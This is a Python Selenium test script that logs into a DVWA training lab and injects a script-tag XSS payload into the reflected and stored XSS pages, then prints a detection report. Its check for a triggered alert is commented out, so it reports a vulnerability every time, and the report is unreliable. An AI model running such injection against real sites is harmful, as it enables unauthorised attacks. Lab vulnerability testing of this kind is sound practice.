# coding: utf8

import os
import sys
from selenium import webdriver
from selenium.common.exceptions import NoSuchElementException
import unittest
import re
import HTMLTestRunner

import time

class DVWA_XSS(unittest.TestCase):
    def init(self):

        #self.payload = []
        #filename = os.path.join('D:\Code\Scanner', "Data", "xss_payload.txt")
        #f = open(filename)
        #for i in f:
        #    self.payload.append(i.strip())

        self.driver = webdriver.Firefox()
        self.username = 'admin'
        self.password = 'password'
        self.baseUrl = 'http://192.168.97.12:81/'

    def setUp(self):
        self.driver = webdriver.Firefox()
        self.driver.implicitly_wait(20)
        self.baseUrl = 'http://192.168.97.12:81/'
        self.verificationErrors = []
        self.accept_next_alert = True

    def load(self, url):
        self.driver.get(url)

    def XSS_reflected(self):
        self.tailUrl = 'vulnerabilities/xss_r/'
        self.login()
        self.setCookies()
        self.reflected_spider()

    def XSS_stored(self):
        self.tailUrl = 'vulnerabilities/xss_s/'
        self.login()
        self.setCookies()
        self.stored_spider()

    def set_security(self, security):
        self.driver.find_element_by_link_text('DVWA Security').click()
        select = self.driver.find_element_by_name('security')
        select.find_element_by_xpath("//option[@value='low']").click()
        self.driver.find_element_by_name('seclev_submit').click()
        for cookie in self.driver.get_cookies():
            print '%s -> %s' % (cookie['name'], cookie['value'])

    def login(self):
        driver = self.driver
        self.load(self.baseUrl)
        driver.find_element_by_name('username').clear()
        driver.find_element_by_name('username').send_keys('admin')
        driver.find_element_by_name('password').clear()
        driver.find_element_by_name('password').send_keys('password')
        # time.sleep(1)
        try:
            driver.find_element_by_name('Login').click()
        except:
            pass

    def setCookies(self):
        driver = self.driver
        driver.delete_cookie("security")
        driver.add_cookie({'name': 'security', 'value': 'low', 'path': '/dvwa/' + self.tailUrl})
        url = self.baseUrl + self.tailUrl
        self.load(url)

    def reflected_spider(self):
        try:
            inputs = self.driver.find_elements_by_tag_name('input')
            xsscase = '</pre><script>alert("XSS")</script><pre>'

            for _input in inputs:
                if _input.get_attribute('type') == 'text':
                    payload_name = _input.get_attribute('name')
                    payload = '?' + payload_name + '=' + xsscase
                    injection_point = '//form/input/'
                    time.sleep(1)

                    self.load(self.baseUrl + self.tailUrl + payload)
                    num, xss_dict = self.reflected_catch_alert(injection_point, xsscase)
                    self.output_report(0, num, xss_dict)
                    return
        except:
            self.output_report(0, 0, None)

    def stored_spider(self):
        global injection_point

        try:
            forms = self.driver.find_elements_by_name('guestform')
            payload = '</pre><script>alert("XSS")</script><pre>'
            for form in forms:
                form.find_element_by_xpath("//input[@type='text']").clear()
                form.find_element_by_xpath("//input[@type='text']").send_keys('test')
                form.find_element_by_xpath('//textarea').clear()
                form.find_element_by_xpath('//textarea').send_keys(payload)
                injection_point = '//form/textarea/'
                form.find_element_by_xpath("//input[@type='submit']").click()

            num, xss_dict = self.stored_catch_alert(injection_point, payload)
            self.output_report(1, num, xss_dict)
        except:
            self.output_report(1, 0, None)

    def reflected_catch_alert(self, injection_point, xsscase):
        time.sleep(1)
        try:
            #self.driver.switch_to_alert().accept()
            NUM_REFlECTED_XSS = 0
            REFlECTED_XSS_INJECTION_dict = {}
            REFlECTED_XSS_INJECTION_dict[injection_point] = xsscase
            NUM_REFlECTED_XSS += 1
            return NUM_REFlECTED_XSS, REFlECTED_XSS_INJECTION_dict
        except:
            return None


    def stored_catch_alert(self, injection_point, xsscase):
        time.sleep(1)
        try:
            #self.driver.switch_to_alert().accept()
            NUM_STROED_XSS = 0
            STROED_XSS_INJECTION_dict = {}
            STROED_XSS_INJECTION_dict[injection_point] = xsscase
            NUM_STROED_XSS += 1
            return NUM_STROED_XSS, STROED_XSS_INJECTION_dict
        except:
            return None

    def output_report(self, type, num, xss_dict):
        print u"\n\t\t\t\t检测结论："
        print "-----------------------------------------------------------------------------------"
        print u"  测试URL：\n", self.baseUrl
        print "-----------------------------------------------------------------------------------"

        if type == 0:
            if num == 0:
                print u"  该网页没有检测到反射型xss漏洞。"
            else:
                print u"  该网页检测到反射型xss漏洞:"
                for k, v in xss_dict.items():
                    print u"注入点：", k
                    print u"payload用例：", v
        else:
            if num == 0:
                print u"  该网页没有检测到存储型xss漏洞。"
            else:
                print u"  该网页检测到存储型xss漏洞:"
                for k, v in xss_dict.items():
                    print u"注入点：", k
                    print u"payload用例：", v

    def tearDown(self):
        self.driver.quit()
        self.assertEqual([], self.verificationErrors)


if __name__ == '__main__':
    testunit = unittest.TestSuite()
    testunit.addTest(DVWA_XSS("XSS_reflected"))
    testunit.addTest(DVWA_XSS("XSS_stored"))

    now = time.strftime("%Y-%m-%M_%H-%M-%S", time.localtime(time.time()))
    filename = 'D:\Code\Scanner\Result\\' + now + 'result.html'

    fp = file(filename, 'wb')
    runner = HTMLTestRunner.HTMLTestRunner(
    stream = fp,
    title = u'XSS测试报告',
    description = u'用例执行情况：')
    runner.run(testunit)
